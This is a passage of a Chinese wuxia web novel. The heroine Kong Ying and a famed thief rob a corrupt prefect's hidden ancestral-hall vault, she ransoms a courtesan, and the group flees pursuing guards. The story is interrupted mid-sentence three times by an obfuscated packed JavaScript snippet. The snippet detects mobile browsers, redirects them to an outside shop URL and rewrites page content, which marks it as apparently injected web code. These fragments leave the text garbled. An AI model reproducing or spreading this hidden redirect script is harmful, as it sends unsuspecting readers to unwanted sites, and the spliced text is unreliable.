孔英一见陈飞燕,顿感踏破铁鞋无觅处,得来全不费工夫,激动地坐到陈飞燕对面招呼道:“无影踪!” 陈飞燕吓了一跳,嘴里的把子肉还没咽下去,就忙拉着孔英要她小点声。 开什么玩笑,无影踪还在衙门悬赏榜上呢,孔英叫得这么大声,真是嫌自己好日子过得太长。 陈飞燕觉得孔英简直是自己克星,每次遇到对方都没好事,不爽不快道:“干嘛,来捉我了?” 孔英嘿嘿一笑:“当然不是,我是有求于你。”接着将事情的始末缘由全部说给对方听。 陈飞燕听了,越发坚定地认为孔英脑子不太好使。她不明白怎么会有人愿意为了个没什么瓜葛的旁人,让自己落到如此窘迫的地步。 “所以你是要我带你去郡守府偷钱?你上次不是还说我走上歧途就不会放过我吗,怎么自己还做起飞贼的活儿了。” 孔英解释这不一样,她是为了行侠仗义。 陈飞燕言辞凿凿:“这是什么借口,难不成你偷的是坏人就不算偷了?你年纪小小,怎么这么多歪理邪说呢,别看点话本子就觉得自己是大英雄了。” “……你帮人家取回传家宝不也一样吗?” 陈飞燕嗓子里的红烧肉一噎,差点顺不过气,尴尬地咳嗽几声。 “咳,也不是不行。只是我发过誓,不取本就属于人家自己的东西,你要我帮你去偷钱,这事我做不来。再说了,我帮你有什么好处?” 孔英一听有戏,拍着胸脯道:“放心,你只要能带我进出郡守府就行,钱我自己去偷。至于好处……”她冥思苦想,好像确实找不到陈飞燕一定得帮自己的理由。 “就当作我雇你,行吗?” 陈飞燕眼睛闪闪:“提前说好,我的费用可不低。” 孔英爽快道:“没问题!”反正也是去郡守家里拿,多拿点就是。 说干就干,当天夜里陈飞燕就带着孔英穿上夜行衣,悄无声息地潜入了郡守府。 “这郡守府真是不显山露水啊,从外面压根看不出里头这么豪华。”陈飞燕见多识广,看这府中貌似低调,却处处不凡的装饰,不由得感叹。 大益郡这么个财赋重地,作为其郡守,能捞的油水不少。不然甘复哪能如此挥霍无度,若是普通人家也学他的行径,怕是没个几天就要家财散尽了。 孔英头一回当飞贼,心里紧张:“你说他们会把钱放在哪里那?” 陈飞燕经验丰富,说得头头是道:“除开存入钱庄的,床下墙内地窖,也有谨慎的人家随身缝在衣服暗袋里。” “可这郡守府这么大,我们难不成要一间一间屋子去找吗?” 陈飞燕神秘地摇了摇头:“非也非也,你且等着。” 孔英听不懂对方的谜语,出于对陈飞燕的信任,跟着对方趴在屋檐上一动不动,看府中形形色色的各人。 夜深人静,甘复喝醉了酒,被下人扶着醉醺醺回府,大声嚷嚷着什么“再来一局”,被惶恐的下人劝着小声些。 “可别让老爷听到了呀。” 酒鬼总是天不怕地不怕,平日见了郡守如耗子见了猫的甘复,现在也敢张牙舞爪地虚张声势:“听到又如何?他有本事再拿家法伺候我啊!” 俗话说债多了不愁,甘复现如今就是这个心态。左右他已经被父亲嫌弃,郡守大人再多厌恶一点他这个不学无术的浪荡公子,又有什么关系呢? 甘复的声响越来越大,里屋的窗子透出了点燃的烛光,王姨娘披着外衫匆匆出来,叫唤着:“还愣着干什么,快扶少爷回院子。” 下人得了命令,半架着破口大骂的甘复,强行将他拖回了院子。 王姨娘也回到房间,对躺在床上的郡守撒着娇埋怨:“每回他酒醉回来,你都打发我去处理。你又不是不知道他厌恶我,害我白白被骂。” 甘复的母亲是郡守原配,刚生下甘复不久,郡守就纳了添香阁的清倌人为妾。郡守原配受了刺激,没几年就撒手人寰,甘复也因此恨上王姨娘。 郡守语气里透露出萎靡疲惫:“我知道你心里委屈,暂且忍忍吧。” 郡守心里对甘复有愧,从小对他多加溺爱,没成想让甘复变成了如今这副样子,他追悔莫及。事已至此,甘复这人算是废了,幸好王姨娘还为他生下一对争气的儿女。 “我已为甘复打点好,等再过一段时日,让他独立出府去。” 王姨娘听郡守如此说,憋屈地应下,心中愤愤。她就知道这人舍不得他儿子,就算甘复吃喝嫖赌,郡守也会为他扫干净腌臜事。 她脱了外衫回到床上躺下,和郡守各怀心思。 人声渐静,明月高悬。 陈飞燕带着孔英飞身一跃,稳稳落在地上,打了个手势示意对方跟上,自己贴着墙面行如夜猫悄无声息,将身形掩藏在阴影里。 孔心脏怦怦,尽力放轻脚步,跟着陈飞燕走进一座其貌不扬的房间,进了地方才发现是祠堂。 “地方带到了,你自己去那牌位旁边找找吧。” 见孔英不解,陈飞燕洋洋得意地解释:“府上大门正对着的地方摆了尊貔貅,还有不少富贵竹;火房前就是假山流水,水流向内弯曲;卧室房门上挂着五帝钱。这郡守还信风水呢!” “这种官宦人家多多少少都信这些,但这郡守府上招财的东西未免太多。他会将钱财藏在祠堂求祖先庇护也不足为奇。” 孔英恍然大悟,对着陈飞燕竖起大拇指,径直朝着神龛走去。心中暗道一声“打扰”,翻找起来。 手摸上供奉桌,桌面平滑无异常,只是积了层厚灰。又向桌下摸索,探查到某处凸起,孔英心里一喜蹲下身子,借从窗户透进来的月光勉强看清机关。 手上使劲,“啪嗒”一声,暗格应声而开,数不 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孔英现在可是自己的雇主啊,她拿得越多,自己拿得才越多。这种无本万利的买卖真是机不可失失不再来。孔英一点头,陈飞燕立刻从窗户跳上屋檐,畅想着未来的美好生活,差点笑出声。 孔英不熟悉郡守府,也不敢乱跑,将麻袋口打了个结结实实的结后,老老实实蹲在墙角等着陈飞燕回来。 但这个夜晚注定不会太平静。 孔英耳朵一动,敏锐地听见祠堂外传来踉踉跄跄的脚步声。心里发虚,慌乱地东张西望想找地方藏起来,但眼前这场面根本一看就知道有贼来过啊! 听着脚步声越来越近,心脏快跳到了嗓子眼,孔英死死捂住嘴巴,想着要是等会有人发现自己,靠蛮力闯出去的概率有多大。 “嘭!” 门被酒鬼猛地推开,甘复被满地金子闪得眼花,正震惊地想要细看,脖上一痛,正面朝下直挺挺倒在地上。 “呼。” 孔英长长呼出一口气,擦掉额头冒出的细汗,庆幸自己动作快,早早藏到了门边埋伏。她是真没想到这大半夜的,除了贼还有别人来祠堂。 又一道人影闪过,孔英眼疾手快就要出招,被对方险险躲过,只擦到对方衣角,接着听见一道气急败坏的声音:“是我!” 陈飞燕刚拿了麻袋回来,还意外祠堂正门大开,不等她看清楚怎么回事就差点挨了孔英一拳,恼火地将麻袋抛给对方,恨恨骂了句:“恩将仇报!” 孔英陪着笑脸向陈飞燕赔罪,解释了刚才的惊险情形。 满满当当四五个麻袋,孔英从一开始的激动到后来的麻木,只想快点装完了事,想着只怕是连护国公府都没有那么多现财。 哎,她都有点想念她爹了,也不不知道对方是不是正在床上呼呼大睡呢。 陈飞燕悠哉游哉,遵守自己最初的承诺没有插手,对着甘家祠堂的供奉台起了兴趣。她猜到祠堂藏钱,却没想到甘家将整个供桌都做成了钱柜。 完事后,孔英和陈飞燕对视一眼,默契地没有管地上不省人事的甘复,趁着夜色背着大麻袋离开。 16. 孔英要散财赎清白 将郡守府洗劫一空,袋中有钱就有底气。这次孔英没有换上男装,女子打扮进添香阁后引起不少隐晦或直白的目光,被她一蹬,对方又吓得赶忙转头。 老鸨迎上来,上下打量着她:“小姑娘,咱们这儿可不是随便能来的地方呀。” 孔英知道老鸨是什么脾性,直接掏出一张钱庄的存单: “我来替清姿娘子赎身。” 此话一出,四座皆惊。 老鸨看孔英神情不似作假,为避免骚动,将她领入一间雅阁,翻来覆去就差将存单看出洞来,这才相信孔英居然真要拿出五百两黄金赎安弄溪。 老鸨一时无言,眼神复杂地看了眼孔英,就转身出去。再进房门时,身后跟着个薄纱蒙面的女子。 老鸨将安弄溪的身契交给孔英:“你既然真能拿出五百两黄金,我也信守承诺让你带清姿娘子走。” 孔英一抬头就看见安弄溪含泪的双眸,对方屈身下拜,一滴清泪悄无声息落下地。 “贵人大恩大德,弄溪没齿难忘。” 老鸨嘱咐孔英,清姿娘子风头正盛,要她带着安弄溪从后门出去,别招人眼多生事端。孔英觉得有理,从小门而出,一辆马车早早等着。 摇摇晃晃的车厢内,孔英问:“你今后有何打算?” 安弄溪从善如流答:“自然是贵人去哪我去哪。” “也好,那你跟我们一起去岱山吧!” 安弄溪惊愕,呼吸都急促几分,不由得问:“贵人不打算回京城?” 孔英意外她这么问,好奇:“你怎么知道我从京城来?” 安弄溪自知说漏嘴,只好解释道:“听贵人有京城口音,随口一猜。” 孔英恍然大悟:“你猜得还挺准。我确实是京城人,但刚和家人闹了矛盾从京城出来,还不打算回去呢。” 那自己的计划不就又得后延?安弄溪心里烦躁,但孔英神色坦然,此刻自己也不好说什么劝她赶紧回家的话,只得以后再做打算。 街上喧闹,隐隐约约可以听见“失窃”、“捉贼”的话,孔英心下了然,泰然自若端坐着,回想起几天前从郡守府离开之后的情景。 当日收获颇丰,陈飞燕提出郡守肯定会发现,要是让人知道孔英一下子一大笔不好解释来源的钱,难免惹人猜忌。不如将钱存到各地分散的钱庄去,虽麻烦一些,但更加安全。 孔英竖起大拇指,夸赞陈飞燕不愧是著名飞贼。按约定给了对方一大笔钱, 郡守府失窃的事当天夜里就被发现了。据说巡夜的小厮见到昏倒在祠堂前的甘复还没当回事,只以为是对方醉了酒到处走。 正想将甘复扶回房呢,正把甘复架在身上,对方却突然醒了过来,大喊着“有贼,祠堂进贼啦”。动静极大,惊动了正熟睡的郡守和王姨娘。 郡守带着人急匆匆往祠堂赶,鞋都跑掉了一只,到地方一看,祠堂里的供奉桌破了个大洞,里头的金银财宝全不见了,只剩下几张被遗落的银票孤零零地散落在地。 这下昏的不是甘复,而是郡守了。 多年积蓄被洗劫一空,郡守差点一口气没回过来,头上施了数根银针后才幽幽转醒,一睁开眼就命人去捉拿半夜潜入府的贼人。 寻常百姓不知道郡守到底丢了多少,只是靠这几天声势浩大的捉捕也能猜出绝对不是笔小钱,私下里啧啧称奇,没想到郡守大人平时不显山露水,实际上身家不少啊。 怪不得能供得起一个纨绔儿子。 孔英和陈飞燕行动挑了夜深人静的时候,若不是意外碰上甘复,也不会有人看到。平时又不和郡守家接触,暂且还没人怀疑到她头上来。 但为避免节外生枝,孔英接了安弄溪回客栈后,立马收拾东西就要离开大益郡。 楼修生见孔英真为安弄溪赎了身,顶起一张臭脸,对安弄溪的行礼视而不见。安弄溪不明白对方无缘无故的敌对从何而来,不去触他霉头,帮着孔英一起收拾。 见两人有说有笑的样子,楼修生脸更黑了。 出城门时的队伍大排长龙,半天也不见动一下。听人家说才知道就是因为郡守府失窃,最近收紧了对往来旅客的盘查,每个人都查得十分细致,速度也慢了不少。 孔英从容不迫,毕竟她除了给自己留下钱庄五百两黄金的存单,其余的早就都交给陈飞燕出城存到别处去了。 “停车搜检!”左右守卫持长枪拦下马车,三人下和马夫下车等着守卫检查。 车内没什么异常,一个棕褐色皮肤的侍卫表情庄严肃穆,走到安弄溪跟前,盯着她面上的薄纱厉声道:“摘下面纱!” 安弄溪一个弱女子被他吼得浑身一颤,面带委屈地用纤细的手指挑下面纱,待对方看清楚了又罩上,一副我见犹怜的做派。 不愧是添香阁头牌清倌人。 侍卫被她看得发酥,神情不自觉柔和下来,见搜寻马车的人报告无异常,并没有多为难几人,挥挥手放他们出城。 马车渐渐走远看不见尾巴,侍卫还沉浸在安弄溪楚楚动人的那一眼里,感慨着世上竟有如此美人,却突然听见城内有人御马奔驰而来,大喊着: “拦下他们!那是添香阁的清姿娘子——” - 大益郡的兵荒马乱暂时还影响不到走远的三人。 就算有影响,也不能不好好吃饭嘛。孔英坐了一天马车,屁股都颠痛了,一到落脚的地方就跳下马车,活动活动手脚,向人打听哪里可以用膳。 路人给她指了家多年老字号,说是谁吃谁知道。 到了面馆,满头白发却精神矍铄的老板给三人端上招牌刀削面,热气腾腾的面条散发着浓郁的汤汁香味。孔英被勾得馋虫大动,立马动筷大快朵颐。 面条外滑内韧,淡淡的麦香与鲜美的调料混合在一起,孔英只觉得灵魂都要出窍了,若不是被楼修生拦下,她简直还要再来一碗。 安弄溪发笑:“英妹妹想吃,你拦着干嘛?”自从出了大益郡,孔英就让安弄溪改口别再叫“贵人”。 楼修生最看不惯她那副明里暗里挑拨离间的样子,语气冷冷:“待会儿肚子痛的是她,你当然不心疼。” 安弄溪不甘示弱:“公子打着旗号说这说那,说到底不就是要让英妹妹循着你的心思做事吗?” 孔英心里纳闷,想着两人着实小气,这种事情都能吵起来,忙说无妨无妨,自己确实也吃饱了。 略胜一筹的楼修生嘴角扬起一抹笑,挑衅的目光看向安弄溪,又在对方柔柔弱弱贴到孔英身边时气得跺脚。 吃饱了饭,孔英有了闲心四处逛逛。 这座小镇叫绮香镇,以产香调香最为出名。孔英得以解惑,怪不得刚才那碗面条如此让人念念不忘,其面、汤的香气四溢真是世上少见。 她本对调香之类不甚感兴趣,但当自身真正体会过了香料的“妙用”之后,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288436|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸吧砸吧嘴,琢磨着去买点做饭所用的香料,到时候自己下厨不就能事半功倍了? 镇上调香最好的店家叫作“烟尘铺”,店主姓虞。听人说是一年前搬来镇上,但是凭借一手游刃有余的调香技艺,迅速在镇上打出名头。 孔英慕名而去时,见店里不甚热闹,有一身带冷香的女子得知她的来意后,略带歉意地说店内单子已经排到半年后,暂时不会接待客人。 虞老板向她推荐了镇上尤其擅长调味调香的店家,说自己只会做些室内的熏香,就算接下孔英的单子,怕是也不尽如人意。 孔英大感遗憾,嗅了嗅铺子里沁人心脾的香气,只觉得真不愧是来往人家都称颂的调香,确实不凡。 去虞老板推荐的店铺一问,说是正好新备了调料,只是孔英订的香料种类太多,还得等上几日才能备全。孔英大手一挥说无妨。 就这么暂且在绮香镇歇下。 次日晨,天色尚未破晓,远方微微泛起鱼肚白。孔英将楼修生从床上拉起来: “快,练早功的时机到了!” 楼修生本就有早起的习惯,先前跟着孔英学了几招呼吸吐纳和基本拳法,从一开始的气喘吁吁,到现在已经能完整打完一套动作而只是面色微红。 孔英对于自己第一位徒弟的进步感到满意。 黄梅多雨时节,雨丝细细密密落了半夜。孔英将早功改在室内,带着楼修生动作缓慢地打了一套拳,预备着明天开始就能教对方更进阶的招式。 楼修生额角渗出薄汗,觉得身子轻快舒畅。孔英摆摆手放人去休整,自己敞开窗子看雨丝渐弱,瞥见不远处的烟尘铺前默立着一道黑影。 黄梅多雨时节,铺子里来了位故人。 竹制斗笠掩去他一半面容,宽肩窄腰黑衣,佩剑随身,静默着石像般立在铺前,隐入无声无言之沉寂。 虞鱼早起开铺门,才发现铺子前站了个人。 昨夜的雨一直下到天边初泛白,他估摸着是早就站在这儿了,屋檐和斗笠提他挡了大半风雨,还是湿了大片衣衫,看上去有些狼狈。 见门被打开,秦嵇抬起头,正好与虞鱼的目光对上。 “许久不见了。” 虞鱼将秦嵇迎进来,只笑说:“你来得真不是时候,偏巧碰上多雨的时节。”秦嵇沉默就坐,没有多言,就当是默认了她的话。 虞鱼习惯了他寡言的性子,目光在他身侧的长剑上停留一瞬,接着问道:“你怎么来这儿了,我倒不信你是专为了来看我的。” 秦嵇左手不自觉抚上剑鞘,那上面本有祥金云图与苍青藤纹,可跟着他多年,云图和藤纹都将要被磨干净了:“我到真岱郡去,听闻你在这,顺道探望故人。” 秦嵇原本准备小坐片刻便走了,但临走时又下起朦朦胧胧的小雨来。虞鱼点了香,袅袅白烟从香炉上升起,味道像冷松处于苍茫天地间。 “我这不能喝茶,好好的两种香平白被糟践了。” 秦嵇知道到她指的是茶香和她点的香料。他端起瓷杯喝了口水,透着股清甜,配合着鼻尖似有似无的冷松气息,让人莫名心情平和。 “怎么想着搬来这?” “也可以不是这儿,或是东边或是西边。” 秦嵇走的时候,前脚都跨出门槛了又迈回来,没转身,背对着虞鱼,长剑轻微晃了晃: “温明让我给你带封信,我想你不会收,就没拿。” 17. 孔英要解惑再上路 等店家备好香料还得一日,孔英闲来无事就避免在客栈待着。 她总觉得楼修生和安弄溪之间的气氛很怪,两人在一起不说话但也不吵架,孔英和楼修生或者孔英和安弄溪在一起也没人吵架。偏偏就是三人都处在一块儿了就能吵起来。 孔英听得脑袋疼,一抓住机会就往外边跑。 又走到了烟尘铺。她实在是喜欢这里的气味,原本下雨之后沉闷的气息也变得缠绵。 虞鱼正在青灰色的镂空香炉里填香料,红木桌上摆着水汽氤氲的青白釉瓷杯,听到响声见是孔英,认出对方是昨日来找自己买香而未得的小姑娘。 “虞老板,今天早上我看见你门口站着个人呢!”孔英将早晨见到的场景描述给对方听。 虞鱼放下香勺笑道:“那是我远道而来的友人。” 孔英好奇:“我听说老板是一年前来这的,您原本是哪里人呀?” 虞鱼答道:“我是七贤郡人,或你不曾听过。” 孔英似乎知道这个地方,细细回想后恍然大悟:“七贤郡?我以前在京城还见过一个从七贤郡来的人呢,那人武艺高超,连带着让我以为七贤郡全是武林豪杰。” 虞鱼见孔英有心和她闲聊,正巧自己也心神难定,索性拿出几个青花瓷杯倒上新茶,招呼对方坐下聊,喝一口水,状似无意道: “那人长什么样?七贤郡不大,或许我还认识。” 孔英努力回想:“我见那人已经是前年,样子有些忘却,只记得那人用得一手好软剑,打到身上可疼!” 虞鱼惊讶:“他打你吗?” “不是不是,”孔英连忙解释,“我们当时在擂台上,拳脚功夫实在难分胜负,不得已用上兵器。我的短剑使得不好,挨几下打也难免。” 虞鱼愣住:“擂台……?” “是,当时可多武林豪杰在擂台上切磋武艺了,胜者还能拿到护国公府的奖赏。”孔英有心掩饰自己的身份,便将自己也说作是去比武的武林人士。 虞鱼思绪翻飞,手中瓷杯举起又落下。孔英看得奇怪,问道:“虞老板认识这人?” “……那人约莫多少年纪?” 这个孔英倒是记得:“想是快到而立之年。那人一开始还不愿和我比试,说是不欺负孩子,但被我一脚踹出三米远!” 虞鱼开始怀疑孔英所说的到底是不是温明。武器、年纪都对得上,只是自己印象里的温明,怎么会和眼前年岁不大的人难分高低呢。 她表情一言难尽:“他最后可有拿到奖赏?” 孔英点点头:“那人拿上软剑之后简直一夫当关,上去挑战的人都败下阵来。他最后拒绝赏钱,只拿走了菩萨膏。” 虞鱼下意识发问:“这菩萨膏是做什么用的?” 孔英挠挠脑袋:“好像是个治疗内伤的神药,当初是是别人送给我……我崇敬的护国公三小姐的生辰礼,但三小姐毕竟用不上,就拿来做擂台的彩头。” 她刚解释完,却见虞鱼呆滞在原地惘然若失。孔英摇摇手掌引她回神,对方脸上苍白,表情似哭似笑。 “姑娘恕我无礼,我有要事得先离开。下次你若想调香,可直接来找我。” 孔英被客气地送出门,见虞鱼匆匆离开的背影,还是搞不清楚发生了什么。不过虞老板答应她调香了欸!不用排队半年,孔英表示自己的运气还真是不错。 可惜人的运气总是恒定的,此处多一分,那处便少一分。 这不,大益郡的追兵杀到了绮香镇。 “都不许走,一个一个接受检查!”领头的居然还是那个棕褐色皮肤的侍卫。 他此时表情阴郁,自从那天放走了孔英三人后被长官好一顿臭骂,直说他放走了最大嫌疑人。其实侍卫想不明白,不过就是郡守府失窃后,恰巧有人拿出一大笔钱为清姿娘子赎身而已,怎么就断定她是最大嫌疑人了呢? 孔英见前方人群聚集,正想上去看看热闹,猛然看见熟悉的侍卫,暗道不妙。起初还心怀侥幸,直到见了侍卫手里拿着安弄溪的画像,直呼糟糕,趁着人多眼杂偷偷溜回客栈。 “大益郡的侍卫正拿着弄溪的画像盘查呢,咱们快走。” 楼修生问:“之前定下的香料不要了?” 孔英“哎呦”一声,才想起来这茬,满脸心疼道:“算了,天涯何处无芳香,等风头过去再来拿吧。” 安弄溪手上帮着收拾,心里打着自己的小算盘:她之前还愁没机会顺理成章地离开孔英,现在正好借这个理由独自上路。 于是道:“英妹妹,既然侍卫找的是我,我和你们一起上路难免会拖累你们,不如我们分开走。” 孔英一听就不乐意:“不行,你一人上路不是更加危险吗?我还不至于连你的安全都保护不了。” 安弄溪闻言还有几分感动,只是眼下孔英这种义气只会妨碍自己的计划,继续劝道:“就算那些个侍卫抓我回去也审问不出什么,我现在已是自由身,他们没有任何证据奈何得了我。” 楼修生看看孔英,又看看安弄溪,琢磨出点味来。直觉这安弄溪身上指定有什么秘密,不然不至于这么想独自离开。 不过安弄溪离开也正合他心意,索性也跟着劝:“她说得对,侍卫的目标不是你我二人,三人一起行动目标反而更大,更容易被发现。” 孔英被这个理由说动,犹豫道:“但你一个人如何能逃过侍卫的追捕呢?” 安弄溪神秘一笑:“英妹妹不用担心,我在大益郡这些年也不是白白待着的。” 孔英见她底气十足,只好同意并叮嘱道:“我们会一路往岱山走,你若是安全了,一定要来找我们。” 安弄溪应下,心里却寻思着要如何去京城。 如此说定,三人分为两伙从客栈离开。孔英和楼修生避开侍卫封锁的大路,从小径一路向南,渐渐驶离绮香郡时,孔英还记挂着安弄溪,只觉得一切都是因自己夜访郡守府而起,忧心忡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288437|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忡道: “也不知道弄溪走的那条路能不能避开侍卫。” 楼修生冷笑,替孔英感到不值,想直接戳破安弄溪的心思。 亏得她还替那个清倌人忙里忙外以身犯险,结果清倌人刚得自由身就想着抛下孔英。他看着孔英面上的自责和担心,嘴巴张了又闭。 算了算了,这种人情世故以后总能慢慢教她。现在说了,孔英相信与否不说,还惹得她伤心难过。 “安弄溪在大益郡经营多年,总比你我有手段。我们走好自己的路,她说不定就在某处等着我们呢。”楼修生安慰道。 孔英落寞道:“希望如此。” 孔英不再说话,开始反思是否自己真的太过莽撞。她仗着自己有武功不怕什么侍卫追捕,但现在她身边人可不全是原来京城那群有功夫在身的莽夫,皮糙肉厚挨几下打也没什么。 安弄溪和楼修生都是没练过武的,一旦因为自己遇上什么麻烦,自己简直要愧疚死了。 江湖之大,竟不像她想象那般潇洒快意。 四周景色被一层暮色笼罩,马车停在一条溪水边休整。之前走得匆忙,粮食补给带的不多,不得不就地取材。 楼修生去拾些柴火野果,孔英卷起裤腿,踏进溪流。无声地俯下身子,手指在水中划过,激起圈圈涟漪,她猛地一扑,感受到滑腻光润的触感从手中一闪而过。 面上浮现懊恼,仔细观察着水面的动静,双手轻轻探入水中,盯紧刚才那条鱼,不死心地再次出手,迅疾的动作却还是比不过得水的鱼。 嘿,她还真不信了。 火气上来,大踏着步子径直追上去,踩得水花四溅,对准目标猛地一扑——没捉到鱼,反而害自己脚下一滑重重摔进水里。 “哗啦!” 孔英挣扎着从水里站起来,浑身湿透狼狈不堪,方才那尾鱼早就消失不见。 郁闷地走上岸,甩甩衣袖裤腿。入夜后天气微凉,湿漉漉的衣服贴在身上颇为难受,本就不爽利的心情更是雪上加霜。 楼修生抱着树杈和野果回来时,就看见孔英坐在岸边恶狠狠盯着溪流,同时也注意到了对方身上的潮湿。 见对方脸上怒气十足的样子又好笑又心疼,将野果递给手撑着头生闷气的孔英:“试试,还挺甜的。” 见孔英接过果子,转身去就这刚才拾来的树杈钻木取火,熟练的动作看得孔英直发愣:“你居然还会这个?” 楼修生语气里透出得意:“我先前在深山独自过活,难免有自己生火的时候。” 孔英想起初见时对方说自己父母双亡,点头表示理解,又疑惑道:“你之前不是在江南吗,怎么又去了山上?” 楼修生解释:“你走后不久我就去往深山修行,也是今年才下山。” “山上不好吗?” 楼修生动作一顿,将细细的树枝往中间拢,跃动的火苗照得他眼底明明灭灭。 “山上清净,只是太清净了。” 18. 孔英要说愁叹人心 确认孔英熟睡之后,楼修生熄灭木柴间的微弱火苗,起身走入树影斑驳处。弯月被层层叠叠的云遮掩,一道黑影悄无声息出现在他身侧。 “您的进度太慢,那边快要等不及了。” 楼修生语气冷冷:“欲成大事需得沉得住气,这是他教我的道理。你转告他,等从岱山归来,我就会……和孔英成亲。” 黑影应下,又无声无息地消失在暗夜里。 楼修生在原地站了一会儿,抬步回到马车上。孔英睡得正香,嘴里喃喃着梦话。他想凑近去听,却差点被她翻身的动作一巴掌打到脸上,失笑。 最后只是替睡相差劲的人掖了掖被角,靠在车厢旁合上双目。 接下来的路便是往南至郡走。在和陈飞燕分别之时,孔英便和她约好在南至郡碰头。 虽然相信一个大飞贼这件事听上去很不符合孔英的性格,可是随着她所见的人越来越多,也更加体会到什么是人的复杂。 山匪可以仗义,飞贼可以讲原则,郡守可以是个大贪官。思及此,孔英忍不住叹气。 “何故大早上哀声叹道?” 孔英苦恼道:“叹江湖沉浮,人心难测。” 楼修生动作一顿,见孔英面上故作的烦闷,心里明白过来对方只是“少年强说愁”,并不是真的知晓了什么,敛下眼底的目光,他装作轻松: “日久见人心,再难测也没办法装一辈子。”语气停了停,又补充道,“世事难料,就算是再曲折的人心也会显出真面目。” 孔英懵懵懂懂,似乎从楼修生的话里听出点和平常不一样的意味。眼前人的脸分明被白日的阳光照得清清楚楚,却莫名显出摸不清道不明的感觉。 “故弄玄虚……” 楼修生听孔英小声吐槽默默无语,怎么到了自己身上就是故弄玄虚?但是没别的办法,老大做事就是如此这般不讲道理,作为小弟只需听着就好。 大路往前,这人烟稀少的山路居然还真让他们碰见个人。 那人带着一顶斗笠,一身黑色劲装加身,背着个包袱独自行走在山野丛林间。 孔英越看越觉得眼熟,直到瞧见对方随身的佩剑才恍然大悟:这不就是绮香镇虞老板的故人嘛! 既然是友人的故人,自已又刚得了虞老板调香的承诺,自然不能看对方仅凭双腿赶路而无动于衷。 “嘿,你要去哪里?不如上车让我们送你一程。” 秦嵇恍若未闻,连头都不回,对孔英的邀约无动于衷。倒是楼修生惊异地看了孔英一眼道:“荒郊野外的,你也不担心对方是什么歹徒?” 孔英不赞成:“那是虞老板的熟人,怎么会是歹徒?” 脚步一顿,听到熟悉称谓的男人微微侧头。车轮也跟着缓缓停下来,马蹄落在长着野草的泥地上。 孔英再度开口:“我认得你,你是绮香镇虞老板的朋友对不对?虞老板帮了我的忙,我对她的朋友自然也要更加照顾,可载你一程。” 秦嵇暗暗打量着对方,只见孔英举手投足间显出练家子的功夫,身后的男人看上去却弱不禁风,还摆出一张臭脸对着自己。心下觉得麻烦。 “不用。”他想来话少,也不愿过多解释。 孔英也不勉强,点头算是打过招呼便又御马前行,那人远远落在车后。 楼修生倒是松了一口气,怕那陌生人真厚着脸皮上车。他们出大益郡时匆忙,马车本就不大,两个人正好。先前安清姿在的时候都有些狭窄,更别说再上来个男人。 忍不住说教:“你不是觉得人心难测?怎么还敢随意载陌生人。你与那虞老板本就不相熟,更不要说是虞老板的朋友。” 孔英被楼修生问得一愣,自己也讲不出来到底是何缘故,只道:“你不觉得他一身正气,看着就不像个坏人吗?” “哪里不像?佩剑随身,遮遮掩掩,说不定是个杀手刺客。” 孔英摇头。她在京城设擂台比武时又不是没见过刺客,此类人大多身手矫健、善于隐匿气息。最重要的是,杀手的眼睛和寻常武者不同,阴险狠毒不说,冷漠而无感情,看人犹如看死物。 而刚刚那人目光坚毅,面容虽冷峻了些,但给人的感觉就像是……侠客的眼睛。 “侠客?” 楼修生听孔英如此形容只觉得难以想象,刚刚那人用斗笠掩去大半面容,自己还没机会看一双“侠客的眼睛”。 “真要说起来,我倒觉得你像个侠客。” 轻飘飘的话像片秋叶落在孔英耳畔,听着小弟对自己的“奉承”心花怒放,她难压下翘起的嘴角,兴奋地拍了拍楼修生的肩膀以作对其眼光的赞赏: “哪里哪里,我离真正的侠客还差得远嘞。” 她化掌为拳,往虚空一抓:“不过我迟早有一天会成为真正的侠客。” 分明是年纪不大的姑娘,却莫名树立了要仗义江湖成为侠客的武道梦。楼修生看着对方明亮的双眸,默默揉搓着被拍痛的左肩。 如果一直这样下去也好,他可以一直做楼微。 到了南至郡,孔英孤身前往与陈飞燕约定好的钱庄,将表示着上千两钱款的钱票揣在兜里,走出去时的姿态不自觉大摇大摆起来。 这可是实实在在的兜里有钱底气足啊。 陈飞燕提前她到。之前在郡守府洗劫,哦不对,是劫富,着实让两人的钱袋子充实不少。陈飞燕拿到了孔英先前承诺给自己的那部分,简直想把孔英供为财神爷。 每次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288438|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇上孔英,她总能发笔横财。原本看上去不甚顺眼的莽夫,在金钱的照耀下也闪闪发光起来。 陈飞燕甩了甩存票,拱手嬉笑道:“英雄,下次若还有这种劫富济贫的好事,记得可要叫上我啊!” 